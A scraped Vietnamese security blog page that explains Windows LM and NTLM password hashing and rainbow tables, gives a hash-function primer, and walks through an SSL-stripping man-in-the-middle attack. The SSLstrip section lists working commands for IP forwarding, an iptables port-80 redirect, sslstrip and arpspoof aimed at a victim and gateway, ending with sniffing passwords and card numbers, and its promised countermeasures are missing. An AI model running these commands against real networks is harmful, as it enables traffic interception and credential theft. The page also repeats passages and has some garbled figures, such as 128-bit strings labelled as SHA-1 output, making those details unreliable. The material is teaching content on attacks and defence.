Để crack mật khẩu bạn phải thu được các hash được lưu bên trong hệ điều hành. Các hash này được lưu trong file SAM của hệ điều hành Windows. File SAM này nằm trên hệ thống tại C:\Windows\System32\config, tuy nhiên bạn không thể truy cập được nó khi hệ điều hành đang hoạt động. Các giá trị này cũng được lưu trong registry tại HKEY_LOCAL_MACHINE\SAM, tuy nhiên vùng registry này cũng không thể truy cập khi hệ điều hành được khởi chạy.
Trong phần hai này chúng tôi sẽ giới thiệu cho các bạn một số cách crack mật khẩu bằng các công cụ khác nhau, sau đó là các biện pháp để giúp bạn bảo vệ được mật khẩu của mình trước những kiểu crack như vậy.
Showing posts with label Bảo Mật. Show all posts
Showing posts with label Bảo Mật. Show all posts
Trong
bài này chúng tôi sẽ giới thiệu cho các bạn cách Windows tạo và lưu các
hash mật khẩu và cách các hash mật khẩu đó bị crack như thế nào.
Giới thiệu Mật khẩu (Password) thường là con đường chủ đạo trong việc phòng chống sự xâm nhập bừa bãi. Tuy vậy dù một kẻ tấn công không có truy cập vật lý (trực tiếp) đến máy tính, chúng vẫn có thể truy vập vào máy chủ thông qua giao thức máy trạm từ xa (remote desktop) hoặc xác thực một dịch vụ thông qua một ứng dụng web bên ngoài. Mục đích của bài viết này nhằm giới thiệu cho các bạn cách Windows tạo và lưu các hash mật khẩu và cách các hash mật khẩu đó bị crack như thế nào. Sau khi giới thiệu cách crack mật khẩu Windows, chúng tôi sẽ cung cấp cho các bạn một số mẹo để bảo vệ bạn tránh được các lỗ hổng trong các kiểu tấn công này. Windows lưu mật khẩu như thế nào Windows sử dụng hai phương pháp hash mật khẩu người dùng, cả hai đều có những điểm mạnh và điểm yếu riêng. Đó là LAN Manager (LM) và NT LAN Manager version 2 (NTLMv2). Hàm hash (hash function) là hàm một chiều mà nếu đưa một lượng dữ liệu bất kì qua hàm này sẽ cho ra một chuỗi có độ dài cố định ở đầu ra. Hash mật khẩu LAN Manager (LM) Hash LAN Manager là một trong những thuật toán hash mật khẩu đầu tiên được sử dụng bởi các hệ điều hành Windows, chỉ có một phiên bản duy nhất được hỗ trợ cho tới khi xuất hiện NTLMv2 sử dụng trong Windows 2000, XP, Vista và Windows 7. Các hệ điều hành mới này vẫn hỗ trợ sử dụng các hash LM để có khả năng tương thích. Mặc dù vậy, nó đã bị vô hiệu hóa mặc định trong Windows Vista và Windows 7. Hash mật khẩu loại này được tính bằng một quá trình 6 bước sau:
Trong thực tế, mật khẩu “PassWord123” sẽ được chuyển đổi như sau:
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tHfbfps4YthLZv88Y0cbgQv6JLlY9IziYT42Mr4y1_AZsLhZzdkwmVrerzii9BahGwNbBd3tYf0rXN68GUw1A8my3WHmUfUtHFp0LcIle04GG8mKKd9PCYooXOhHQnVNpl=s0-d)
Hình 1: Một mật khẩu được biến đổi thành một LM hash Các mật khẩu tuân theo phương pháp LM hash có một số nhược điểm. Nhược điểm đầu tiên cần kể đến là sự mã hóa ở đây dựa vào Data Encyrption Standard (DES). DES khởi đầu từ một dự án của IBM vào những năm 70, dự án sau đó bị sửa đổi bởi NIST, được bảo trợ bởi NSA và được phát hành như một chuẩn ANSI vào năm 1981. DES được cho là khá an toàn trong nhiều năm sau những nghiên cứu kỹ lưỡng trong những năm 90 nhờ kích thước key 56-bit của nó. Tuy nhiên đến đầu năm 1998, Electronic Frontier Foundation thông báo là đã có thể crack DES trong khoảng thời gian 23 giờ. Từ đó, DES được xem như đã lỗi thời và cũng từ đó nó được thay thế bằng Triple-DES và AES. Tuy nhiên đây cũng là các chuẩn mã hóa đã có nạn nhân thiệt mạng với sức mạnh tính toán hiện đại và có thể bị crack một cách dễ dàng. Có lẽ điểm mạnh lớn nhất trong LM hash chính là trong quá trình tạo các khóa (key) DES. Trong quá trình này, một mật khẩu được cấp bởi người dùng sẽ tự động chuyển đổi tất cả thành in hoa, sau đó được chèn thêm thành chuỗi có độ dài 14 ký tự (đây là chiều dài tối đa cho mật khẩu theo phương pháp LM hash), tiếp đó được chia thành hai hash 7 ký tự. Đây là một điểm yếu khi bạn chuỗi mật mã bị chia nhỏ và chỉ được phép sử dụng các ký tự ASCII in hoa. Xét về bản chất, thuật toán này làm cho việc sử dụng các ký tự khác cũng như tăng chiều dài mật khẩu trở nên vô nghĩa, đó chính là điều làm cho các mật khẩu LM trở nên hổng đối với các cố gắng crack lặp lại nhiều lần (brute-force). Hash mật khẩu NTLMv2 NT LAN Manager (NTLM) là một giao thức thẩm định của Microsoft, giao thức này được tạo ra để kế vị LM. Có nhiều tải tiến, NTLMv2 được chấp nhận như một phương pháp thẩm định mới đáng để lựa chọn và được thực thi trong Windows NT 4. Quá trình tạo một NTLMv2 hash (từ lúc này trở về sau chúng ta viết tắt là NT hash) là một quá trình đơn giản hơn nhiều với những gì mà hệ điều hành thực hiện, nó dựa vào thuật toán hash MD4 để tạo hash nhờ một loạt các tính toán toán học. Thuật toán MD4 được sử dụng ba lần để tạo NT hash. Trong thực tế, mật khẩu “PassWord123” sẽ có kết quả là “94354877D5B87105D7FEC0F3BF500B33” sau khi sử dụng thuật toán MD4.![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tFo1SRxckCdgi_2KtqGxq85euGtIUot9xrqde99kqZaDpfzUufENGYyLtjPVinuKdB8SPZM7-EjKvUwJ3TvM8zoQtOkFsmrcT5wYin66vFK91dcHZIHTJMxs-fIzTznJ6S=s0-d)
Hình 2: Mật khẩu được chuyển đổi thành một NTLMv2 hash MD4 được coi là mạnh hơn đáng kể so với DES vì nó cho phép mật khẩu có chiều dài dài hơn, có sự phân biệt giữa các ký tự in thường và in hoa, không chia mật khẩu thành các phần nhỏ hơn (điều tạo sự dễ dàng trong việc crack). Có lẽ phàn nàn lớn nhất với các NTLMv2 hash là rằng Windows không sử dụng kỹ thuật mang tên salting (tạm được dịch là ướp muối). Salting là một kỹ thuật mà trong đó một số ngẫu nhiên được tạo ra để tính toán hash cho mật khẩu. Điều này có nghĩa rằng cùng một mật khẩu có thể có hai giá trị hash khác nhau hoàn toàn, đây thực sự là điều lý tưởng. Trong trường hợp này, người dùng có khả năng tạo những gì được gọi là các “bảng cầu vồng” (rainbow table). Các bảng cầu vồng này không phải là các bảng được trang điểm rực rỡ; mà chúng thực sự là các bảng có chứa các giá trị hash cho số lượng mật khẩu có thể đối với một số lượng ký tự nào đó. Sử dụng bảng cầu vồng, bạn có thể lấy một cách đơn giản giá trị hash được trích rút được từ máy tính mục tiêu và thực hiện một tìm kiếm. Khi giá trị hash được tìm thấy trong bảng, bạn sẽ có mật khẩu. Như những gì bạn có thể hình dung, một bảng cầu vòng thậm chí chỉ với một số lượng nhỏ các ký tự cũng có thể trở thành rất lớn, có nghĩa rằng sự sinh sôi, lưu trữ và đánh chỉ số cho chúng sẽ là một nhiệm vụ khó khăn. Kết luận Trong phần đầu tiên của loạt bài này, chúng tôi đã giải thích cho các bạn về các hash mật khẩu và các cơ chế Windows sử dụng để tạo và lưu trữ các giá trị đó. Chúng tôi cũng đã giới thiệu những điểm yếu của mỗi phương pháp và những đại lộ có thể được sử dụng để crack các mật khẩu đó. Trong phần tiếp theo của loạt bài này chúng tôi sẽ giới thiệu cho các bạn về quá trình trích rút và crack các hash này để minh chứng cho những điểm yếu của nó. Khi đã minh chứng xong, chúng tôi sẽ cung cấp cho các bạn một số lớp bảo mật bổ sung và tạo một mật khẩu mạnh thực sự.
* HÀM HASH
Hàm hash (hash function) là hàm một chiều mà nếu đưa một lượng dữ liệu bất kì qua hàm này sẽ cho ra một chuỗi có độ dài cố định ở đầu ra.
Ví dụ, từ "Illuminatus" đi qua hàm SHA-1 cho kết quả E783A3AE2ACDD7DBA5E1FA0269CBC58D.
Ta chỉ cần đổi "Illuminatus" thành "Illuminati" (chuyển "us" thành "i") kết quả sẽ trở nên hoàn toàn khác (nhưng vẫn có độ dài cố định là 160 bit) A766F44DDEA5CACC3323CE3E7D73AE82.
Hai tính chất quan trọng của hàm này là:
• Tính một chiều: không thể suy ra dữ liệu ban đầu từ kết quả, điều này tương tự như việc bạn không thể chỉ dựa vào một dấu vân tay lạ mà suy ra ai là chủ của nó được.
• Tính duy nhất: xác suất để có một vụ va chạm (hash collision), tức là hai thông điệp khác nhau có cùng một kết quả hash, là cực kì nhỏ.
Một số ứng dụng của hàm hash:
• Chống và phát hiện xâm nhập: chương trình chống xâm nhập so sánh giá trị hash của một file với giá trị trước đó để kiểm tra xem file đó có bị ai đó thay đổi hay không.
• Bảo vệ tính toàn vẹn của thông điệp được gửi qua mạng bằng cách kiểm tra giá trị hash của thông điệp trước và sau khi gửi nhằm phát hiện những thay đổi cho dù là nhỏ nhất.
• Tạo chìa khóa từ mật khẩu.
• Tạo chữ kí điện tử.
SHA-1 và MD5 là hai hàm hash thông dụng nhất và được sử dụng trong rất nhiều hệ thống bảo mật. Vào tháng 8 năm 2004, tại hội nghị Crypto 2004, người ta đã tìm thấy va chạm đối với MD5 và SHA-0, một phiên bản yếu hơn của hàm hash SHA-1. Không bao lâu sau đó, vào khoảng giữa tháng 2 năm 2005, một nhóm ba nhà mật mã học người Trung Quốc đã phát hiện ra một phương pháp có thể tìm thấy va chạm đối với SHA-1 chỉ trong vòng 269 bước tính toán (tức là có thể nhanh hơn brute-force vài nghìn lần).
Giới thiệu Mật khẩu (Password) thường là con đường chủ đạo trong việc phòng chống sự xâm nhập bừa bãi. Tuy vậy dù một kẻ tấn công không có truy cập vật lý (trực tiếp) đến máy tính, chúng vẫn có thể truy vập vào máy chủ thông qua giao thức máy trạm từ xa (remote desktop) hoặc xác thực một dịch vụ thông qua một ứng dụng web bên ngoài. Mục đích của bài viết này nhằm giới thiệu cho các bạn cách Windows tạo và lưu các hash mật khẩu và cách các hash mật khẩu đó bị crack như thế nào. Sau khi giới thiệu cách crack mật khẩu Windows, chúng tôi sẽ cung cấp cho các bạn một số mẹo để bảo vệ bạn tránh được các lỗ hổng trong các kiểu tấn công này. Windows lưu mật khẩu như thế nào Windows sử dụng hai phương pháp hash mật khẩu người dùng, cả hai đều có những điểm mạnh và điểm yếu riêng. Đó là LAN Manager (LM) và NT LAN Manager version 2 (NTLMv2). Hàm hash (hash function) là hàm một chiều mà nếu đưa một lượng dữ liệu bất kì qua hàm này sẽ cho ra một chuỗi có độ dài cố định ở đầu ra. Hash mật khẩu LAN Manager (LM) Hash LAN Manager là một trong những thuật toán hash mật khẩu đầu tiên được sử dụng bởi các hệ điều hành Windows, chỉ có một phiên bản duy nhất được hỗ trợ cho tới khi xuất hiện NTLMv2 sử dụng trong Windows 2000, XP, Vista và Windows 7. Các hệ điều hành mới này vẫn hỗ trợ sử dụng các hash LM để có khả năng tương thích. Mặc dù vậy, nó đã bị vô hiệu hóa mặc định trong Windows Vista và Windows 7. Hash mật khẩu loại này được tính bằng một quá trình 6 bước sau:
- Mật khẩu người dùng được chuyển đổi thành tất cả các ký tự in hoa.
- Mật khẩu được bổ sung thêm các ký tự 0 vào cho tới khi có đủ 14 ký tự.
- Mật khẩu mới được chia thành hai hash có 7 ký tự.
- Các giá trị này được sử dụng để tạo hai khóa mã hóa DES, mỗi nửa đều được thêm vào một bit chẵn lẻ để tạo các khóa 64 bit.
- Mỗi khóa DES sẽ được sử dụng để mã hóa một chuỗi ASCII định sẵn (KGS!@#$%), cho kết quả ra trong hai chuỗi văn bản mật 8-byte.
- Hai chuỗi văn bản mật 8-byte này sẽ được kết hợp để tạo thành một giá trị 16-byte, giá trị này chính là một hash LM hoàn chỉnh.
Trong thực tế, mật khẩu “PassWord123” sẽ được chuyển đổi như sau:
- PASSWORD123
- PASSWORD123000
- PASSWOR and D123000
- PASSWOR1 and D1230001
- E52CAC67419A9A22 and 664345140A852F61
- E52CAC67419A9A22664345140A852F61
Hình 1: Một mật khẩu được biến đổi thành một LM hash Các mật khẩu tuân theo phương pháp LM hash có một số nhược điểm. Nhược điểm đầu tiên cần kể đến là sự mã hóa ở đây dựa vào Data Encyrption Standard (DES). DES khởi đầu từ một dự án của IBM vào những năm 70, dự án sau đó bị sửa đổi bởi NIST, được bảo trợ bởi NSA và được phát hành như một chuẩn ANSI vào năm 1981. DES được cho là khá an toàn trong nhiều năm sau những nghiên cứu kỹ lưỡng trong những năm 90 nhờ kích thước key 56-bit của nó. Tuy nhiên đến đầu năm 1998, Electronic Frontier Foundation thông báo là đã có thể crack DES trong khoảng thời gian 23 giờ. Từ đó, DES được xem như đã lỗi thời và cũng từ đó nó được thay thế bằng Triple-DES và AES. Tuy nhiên đây cũng là các chuẩn mã hóa đã có nạn nhân thiệt mạng với sức mạnh tính toán hiện đại và có thể bị crack một cách dễ dàng. Có lẽ điểm mạnh lớn nhất trong LM hash chính là trong quá trình tạo các khóa (key) DES. Trong quá trình này, một mật khẩu được cấp bởi người dùng sẽ tự động chuyển đổi tất cả thành in hoa, sau đó được chèn thêm thành chuỗi có độ dài 14 ký tự (đây là chiều dài tối đa cho mật khẩu theo phương pháp LM hash), tiếp đó được chia thành hai hash 7 ký tự. Đây là một điểm yếu khi bạn chuỗi mật mã bị chia nhỏ và chỉ được phép sử dụng các ký tự ASCII in hoa. Xét về bản chất, thuật toán này làm cho việc sử dụng các ký tự khác cũng như tăng chiều dài mật khẩu trở nên vô nghĩa, đó chính là điều làm cho các mật khẩu LM trở nên hổng đối với các cố gắng crack lặp lại nhiều lần (brute-force). Hash mật khẩu NTLMv2 NT LAN Manager (NTLM) là một giao thức thẩm định của Microsoft, giao thức này được tạo ra để kế vị LM. Có nhiều tải tiến, NTLMv2 được chấp nhận như một phương pháp thẩm định mới đáng để lựa chọn và được thực thi trong Windows NT 4. Quá trình tạo một NTLMv2 hash (từ lúc này trở về sau chúng ta viết tắt là NT hash) là một quá trình đơn giản hơn nhiều với những gì mà hệ điều hành thực hiện, nó dựa vào thuật toán hash MD4 để tạo hash nhờ một loạt các tính toán toán học. Thuật toán MD4 được sử dụng ba lần để tạo NT hash. Trong thực tế, mật khẩu “PassWord123” sẽ có kết quả là “94354877D5B87105D7FEC0F3BF500B33” sau khi sử dụng thuật toán MD4.
Hình 2: Mật khẩu được chuyển đổi thành một NTLMv2 hash MD4 được coi là mạnh hơn đáng kể so với DES vì nó cho phép mật khẩu có chiều dài dài hơn, có sự phân biệt giữa các ký tự in thường và in hoa, không chia mật khẩu thành các phần nhỏ hơn (điều tạo sự dễ dàng trong việc crack). Có lẽ phàn nàn lớn nhất với các NTLMv2 hash là rằng Windows không sử dụng kỹ thuật mang tên salting (tạm được dịch là ướp muối). Salting là một kỹ thuật mà trong đó một số ngẫu nhiên được tạo ra để tính toán hash cho mật khẩu. Điều này có nghĩa rằng cùng một mật khẩu có thể có hai giá trị hash khác nhau hoàn toàn, đây thực sự là điều lý tưởng. Trong trường hợp này, người dùng có khả năng tạo những gì được gọi là các “bảng cầu vồng” (rainbow table). Các bảng cầu vồng này không phải là các bảng được trang điểm rực rỡ; mà chúng thực sự là các bảng có chứa các giá trị hash cho số lượng mật khẩu có thể đối với một số lượng ký tự nào đó. Sử dụng bảng cầu vồng, bạn có thể lấy một cách đơn giản giá trị hash được trích rút được từ máy tính mục tiêu và thực hiện một tìm kiếm. Khi giá trị hash được tìm thấy trong bảng, bạn sẽ có mật khẩu. Như những gì bạn có thể hình dung, một bảng cầu vòng thậm chí chỉ với một số lượng nhỏ các ký tự cũng có thể trở thành rất lớn, có nghĩa rằng sự sinh sôi, lưu trữ và đánh chỉ số cho chúng sẽ là một nhiệm vụ khó khăn. Kết luận Trong phần đầu tiên của loạt bài này, chúng tôi đã giải thích cho các bạn về các hash mật khẩu và các cơ chế Windows sử dụng để tạo và lưu trữ các giá trị đó. Chúng tôi cũng đã giới thiệu những điểm yếu của mỗi phương pháp và những đại lộ có thể được sử dụng để crack các mật khẩu đó. Trong phần tiếp theo của loạt bài này chúng tôi sẽ giới thiệu cho các bạn về quá trình trích rút và crack các hash này để minh chứng cho những điểm yếu của nó. Khi đã minh chứng xong, chúng tôi sẽ cung cấp cho các bạn một số lớp bảo mật bổ sung và tạo một mật khẩu mạnh thực sự.
* HÀM HASH
Hàm hash (hash function) là hàm một chiều mà nếu đưa một lượng dữ liệu bất kì qua hàm này sẽ cho ra một chuỗi có độ dài cố định ở đầu ra.
Ví dụ, từ "Illuminatus" đi qua hàm SHA-1 cho kết quả E783A3AE2ACDD7DBA5E1FA0269CBC58D.
Ta chỉ cần đổi "Illuminatus" thành "Illuminati" (chuyển "us" thành "i") kết quả sẽ trở nên hoàn toàn khác (nhưng vẫn có độ dài cố định là 160 bit) A766F44DDEA5CACC3323CE3E7D73AE82.
Hai tính chất quan trọng của hàm này là:
• Tính một chiều: không thể suy ra dữ liệu ban đầu từ kết quả, điều này tương tự như việc bạn không thể chỉ dựa vào một dấu vân tay lạ mà suy ra ai là chủ của nó được.
• Tính duy nhất: xác suất để có một vụ va chạm (hash collision), tức là hai thông điệp khác nhau có cùng một kết quả hash, là cực kì nhỏ.
Một số ứng dụng của hàm hash:
• Chống và phát hiện xâm nhập: chương trình chống xâm nhập so sánh giá trị hash của một file với giá trị trước đó để kiểm tra xem file đó có bị ai đó thay đổi hay không.
• Bảo vệ tính toàn vẹn của thông điệp được gửi qua mạng bằng cách kiểm tra giá trị hash của thông điệp trước và sau khi gửi nhằm phát hiện những thay đổi cho dù là nhỏ nhất.
• Tạo chìa khóa từ mật khẩu.
• Tạo chữ kí điện tử.
SHA-1 và MD5 là hai hàm hash thông dụng nhất và được sử dụng trong rất nhiều hệ thống bảo mật. Vào tháng 8 năm 2004, tại hội nghị Crypto 2004, người ta đã tìm thấy va chạm đối với MD5 và SHA-0, một phiên bản yếu hơn của hàm hash SHA-1. Không bao lâu sau đó, vào khoảng giữa tháng 2 năm 2005, một nhóm ba nhà mật mã học người Trung Quốc đã phát hiện ra một phương pháp có thể tìm thấy va chạm đối với SHA-1 chỉ trong vòng 269 bước tính toán (tức là có thể nhanh hơn brute-force vài nghìn lần).
Trong
phần tiếp theo của loạt bài này, chúng tôi sẽ giới thiệu cho các bạn về
tấn công giả mạo SSL, bên cạnh đó là một số lý thuyết bên dưới các kết
nối SSL và những gì làm cho chúng được an toàn.
Cho tới phần này, chúng tôi đã giới thiệu cho các bạn về các tấn công giả mạo ARP cache, giả mạo DNS và chiếm quyền điều khiển session trong loạt bài về các tấn công “man-in-the-middle” nói chung. Trong phần bốn này, chúng tôi sẽ giới thiệu cho các bạn về tấn công giả mạo SSL, đây là một trong những tấn công MITM nguy hiểm nhất vì nó cho phép khai thác các dịch vụ mà người dùng tưởng rằng là an toàn. Chúng tôi sẽ bắt đầu giới thiệu này bằng cách thảo luận về một số lý thuyết nằm bên dưới các kết nối SSL và những gì có thể làm cho chúng an toàn, sau đó sẽ giới thiệu cách khai thác kiểu kết nối này như thế nào. Và cũng giống như các phần trước, phần cuối của bài sẽ là một số biện pháp phát hiện và ngăn chặn kiểu tấn công này.
SSL và HTTPS
Secure Socket Layers (SSL) hoặc Transport Layer Security (TLS) dưới sự thi hành hiện đại hơn của nó, là các giao thức được thiết kế để cung cấp bảo mật cho truyền thông mạng bằng phương pháp mã hóa. Giao thức này dễ được kết hợp với các giao thức khác nhất để cung cấp một thực thi an toàn cho dịch vụ mà giao thức cung cấp. Các ví dụ dẫn chứng ở đây gồm có SMTPS, IMAPS và HTTPS. Mục tiêu tối thượng là tạo các kênh an toàn trên các mạng không an toàn.
Trong phần này, chúng tôi sẽ tập trung giới thiệu vào tấn công SSL trên HTTP, được biết đến như HTTPS, vì nó là trường hợp sử dụng phổ biến nhất của SSL. Có thể không nhận ra nhưng hầu như chắc chắn bạn đang sử dụng HTTPS hàng ngày. Các dịch vụ email phổ biến nhất và các ứng dụng ngân hàng trực tuyến đều dựa vào HTTPS để bảo đảm truyền thông giữa trình duyệt web của bạn và các máy chủ của họ được mã hóa an toàn. Nếu không sử dụng công nghệ này thì bất cứ ai với một bộ “đánh hơi” gói dữ liệu trên mạng cũng đều có thể phát hiện ra được username, password và bất cứ thứ gì được ẩn khác.
Quá trình được sử dụng bởi HTTPS để bảo đảm an toàn dữ liệu là xiết chặt các trung tâm có liên quan đến việc phân phối các chứng chỉ giữa máy chủ, máy khách và hãng thứ ba được tin cậy. Lấy một ví dụ về trường hợp có một người dùng đang cố gắng kết nối đến một tài khoản email của Gmail. Quá trình này sẽ gồm có một vài bước dễ nhận thấy, các bước này đã được đơn giản hóa trong hình 1 bên dưới.
Quá trình được phác thảo trong hình 1 không phải là một quá trình chi tiết, tuy nhiên về cơ bản nó sẽ làm việc như sau:
Nếu quá trình hợp lệ hóa chứng chỉ thất bại thì điều đó có nghĩa rằng các website đã thất bại trong việc thẩm định sự nhận dạng của nó. Tại điểm này, người dùng sẽ thấy xuất hiện một lỗi thẩm định chứng chỉ và họ vẫn có thể tiếp tục với những rủi ro có thể, vì rất có thể sẽ không có sự truyền thông thực sự với website mà họ nghĩ họ cần truy cập đến.
Phá hủy HTTPS
Quá trình này được xem là an toàn cao cách đây một vài năm khi có một tấn công đã công bố rằng nó có thể chiếm quyền điều khiển thành công quá trình truyền thông. Quá trình này không liên quan đến bản thân việc phá hủy (defeating) SSL, mà đúng hơn là phá hủy “cầu nối” giữa truyền thông không mã hóa và mã hóa.
Moxie Marlinspike, một chuyên gia nghiên cứu bảo mật hàng đầu đã cho rằng trong hầu hết các trường hợp, SSL chưa bao giờ bị trực tiếp tấn công. Hầu hết thời gian một kết nối SSL được khởi tạo thông qua HTTPS nên nguyên nhân có thể là do ai đó đã redirect một HTTPS thông qua một mã đáp trả HTTP 302 hoặc họ kích vào liên kết direct họ đến một site HTTPS, chẳng hạn như nút đăng nhập. Ý tưởng ở đây là rằng nếu bạn tấn công một phiên giao dịch từ một kết nối không an toàn đến một kết nối an toàn, trong trường hợp này là từ HTTP vào HTTPS, bạn sẽ tấn công cầu nối và có thể “man-in-the-middle” kết nối SSL trước khi nó xuất hiện. Để thực hiện hiệu quả điều này, Moxie đã tạo một công cụ SSLstrip, chúng ta sẽ sử dụng công cụ này dưới đây.
Quá trình thực hiện khá đơn giản và gợi nhớ lại các tấn công mà chúng ta đã nghiên cứu trong các phần trước của loạt bài. Nó được phác thảo như trong hình 2 bên dưới.
Quá trình được phác thảo trong hình 2 làm việc như sau:
Quá trình làm việc khá tốt, máy chủ có liên quan vẫn nhận lưu lượng SSL mà không hề biết về sự khác biệt này. Chỉ có một sự khác biệt rõ rệt trong trải nghiệm người dùng là lưu lượng sẽ không được cắm cờ HTTPS trong trình duyệt, vì vậy một người dùng có kinh nghiệm sẽ có thể thấy đó là một điều dị thường.
Sử dụng SSLStrip
Chương trình trợ giúp cho tấn công này mang tên SSLstrip, bạn có thể download nó tại đây. Chương trình này chỉ chạy trên Linux vì vậy bạn có thể download và tự cài đặt nó, trong trường hợp không muốn thực hiện công việc này, bạn có thể download và chạy bản Backtrack 4, đây là bản đã được cài đặt trước của công cụ này.
Khi đã truy cập vào SSLstrip, bạn sẽ thấy có một vài nhiệm vụ đặc quyền cần thực hiện. Trước tiên, phân phối Linux mà bạn đang sử dụng phải được cấu hình để chuyển tiếp IP. Để thực hiện điều này, hãy nhập lệnh echo "1" > /proc/sys/net/ipv4/ip_forward vào một shell.
Khi thực hiện xong, chúng ta phải làm cho tất cả lưu lượng HTTP được chặn sẽ được định tuyến đến cổng mà ở đó SSLstrip sẽ lắng nghe. Điều này được thực hiện bằng cách thay đổi cấu hình iptables của tường lửa. Sử dụng lệnh iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>.
Rõ ràng, bạn cần thay thế <listenPort> bằng một cổng nào đó theo lựa chọn của mình. Sau khi thực hiện xong việc cấu hình này, chúng ta có thể chạy sslstrip và cấu hình sao cho nó có thể lắng nghe trên cổng được chỉ định bằng lệnh sslstrip -l <listenPort>.
Bước cuối cùng trong quá trình này là cấu hình giả mạo ARP để chặn lưu lượng của host đích. Chúng ta đã thực hiện điều này bằng cách sử dụng Cain và Abel trong Windows ở các phần trước, tuy nhiên trong trường hợp này, chúng ta sẽ sử dụng tiện ích arpspoof, đây là tiện ích có trong Backtrack 4. Lệnh để thực hiện là arpspoof -i <interface> -t <targetIP> <gatewayIP>.
Sử dụng lệnh này bạn cần thay thế <interface> bằng giao diện mạng mà bạn đang thực hiện các hành động này (eth0, eth1,...), <targetIP> bằng địa chỉ IP của máy khách mục tiêu, <gatewayIP> là địa chỉ IP của router cổng mà mục tiêu đang sử dụng.
Khi hoàn tất, bạn sẽ có thể chiếm quyền điều khiển bất cứ kết nối SSL nào đang được thiết lập. Từ đây, bạn có thể khởi chạy tiện ích “đánh hơi” dữ liệu và thu thập mật khẩu, các thông tin nhận dạng cá nhân khác như số thẻ tín dụng,... từ lưu lượng.
Biện pháp phòng chống
Như được giới thiệu ở trên, việc chiếm quyền điều khiển SSL theo cách này là hầu như không thể phát hiện từ phía trình chủ vì máy chủ cứ tưởng nó vẫn truyền thông bình thường với máy khách. Nó không hề có ý tưởng rằng đang truyền thông với một client bởi proxy. May mắn thay, có một vài thứ có thể thực hiện từ bối cảnh trình khách để phát hiện và ngăn chặn các kiểu tấn công này.
Kết luận
Hình thức tấn công MITM này là một trong những hình thức chết chóc nhất vì nó làm cho chúng ta nghĩ đang ở một kết nối an toàn nhưng sự thật lại không phải vậy. Nếu bạn xem xét số lượng các site an toàn mà mình viếng thăm mỗi ngày, sau đó xem xét sự ảnh hưởng tiềm tàng nếu tất cả trong số các kết nối đó không an toàn và dữ liệu bị rơi vào những kẻ xấu thì bạn sẽ hiểu một cách đúng đắn mức độ nguy hiểm có thể xảy ra với bạn hoặc tổ chức bạn
Cho tới phần này, chúng tôi đã giới thiệu cho các bạn về các tấn công giả mạo ARP cache, giả mạo DNS và chiếm quyền điều khiển session trong loạt bài về các tấn công “man-in-the-middle” nói chung. Trong phần bốn này, chúng tôi sẽ giới thiệu cho các bạn về tấn công giả mạo SSL, đây là một trong những tấn công MITM nguy hiểm nhất vì nó cho phép khai thác các dịch vụ mà người dùng tưởng rằng là an toàn. Chúng tôi sẽ bắt đầu giới thiệu này bằng cách thảo luận về một số lý thuyết nằm bên dưới các kết nối SSL và những gì có thể làm cho chúng an toàn, sau đó sẽ giới thiệu cách khai thác kiểu kết nối này như thế nào. Và cũng giống như các phần trước, phần cuối của bài sẽ là một số biện pháp phát hiện và ngăn chặn kiểu tấn công này.
SSL và HTTPS
Secure Socket Layers (SSL) hoặc Transport Layer Security (TLS) dưới sự thi hành hiện đại hơn của nó, là các giao thức được thiết kế để cung cấp bảo mật cho truyền thông mạng bằng phương pháp mã hóa. Giao thức này dễ được kết hợp với các giao thức khác nhất để cung cấp một thực thi an toàn cho dịch vụ mà giao thức cung cấp. Các ví dụ dẫn chứng ở đây gồm có SMTPS, IMAPS và HTTPS. Mục tiêu tối thượng là tạo các kênh an toàn trên các mạng không an toàn.
Trong phần này, chúng tôi sẽ tập trung giới thiệu vào tấn công SSL trên HTTP, được biết đến như HTTPS, vì nó là trường hợp sử dụng phổ biến nhất của SSL. Có thể không nhận ra nhưng hầu như chắc chắn bạn đang sử dụng HTTPS hàng ngày. Các dịch vụ email phổ biến nhất và các ứng dụng ngân hàng trực tuyến đều dựa vào HTTPS để bảo đảm truyền thông giữa trình duyệt web của bạn và các máy chủ của họ được mã hóa an toàn. Nếu không sử dụng công nghệ này thì bất cứ ai với một bộ “đánh hơi” gói dữ liệu trên mạng cũng đều có thể phát hiện ra được username, password và bất cứ thứ gì được ẩn khác.
Quá trình được sử dụng bởi HTTPS để bảo đảm an toàn dữ liệu là xiết chặt các trung tâm có liên quan đến việc phân phối các chứng chỉ giữa máy chủ, máy khách và hãng thứ ba được tin cậy. Lấy một ví dụ về trường hợp có một người dùng đang cố gắng kết nối đến một tài khoản email của Gmail. Quá trình này sẽ gồm có một vài bước dễ nhận thấy, các bước này đã được đơn giản hóa trong hình 1 bên dưới.
Quá trình được phác thảo trong hình 1 không phải là một quá trình chi tiết, tuy nhiên về cơ bản nó sẽ làm việc như sau:
- Trình duyệt máy khách kết nối đến http://mail.google.com trên cổng 80 bằng cách sử dụng HTTP.
- Máy chủ redirect phiên bản HTTPS máy khách của site này bằng cách sử dụng HTTP code 302.
- Máy khách kết nối đến https://mail.google.com trên cổng 443.
- Máy chủ sẽ cung cấp một chứng chỉ cho máy khách gồm có chữ ký số của nó. Chứng chỉ này được sử dụng để thẩm định sự nhận dạng của site.
- Máy khách sử dụng chứng chỉ này và thẩm định chứng chỉ này với danh sách các nhà thẩm định chứng chỉ tin cậy của nó.
- Truyền thông mã hóa sẽ xảy ra sau đó.
Nếu quá trình hợp lệ hóa chứng chỉ thất bại thì điều đó có nghĩa rằng các website đã thất bại trong việc thẩm định sự nhận dạng của nó. Tại điểm này, người dùng sẽ thấy xuất hiện một lỗi thẩm định chứng chỉ và họ vẫn có thể tiếp tục với những rủi ro có thể, vì rất có thể sẽ không có sự truyền thông thực sự với website mà họ nghĩ họ cần truy cập đến.
Phá hủy HTTPS
Quá trình này được xem là an toàn cao cách đây một vài năm khi có một tấn công đã công bố rằng nó có thể chiếm quyền điều khiển thành công quá trình truyền thông. Quá trình này không liên quan đến bản thân việc phá hủy (defeating) SSL, mà đúng hơn là phá hủy “cầu nối” giữa truyền thông không mã hóa và mã hóa.
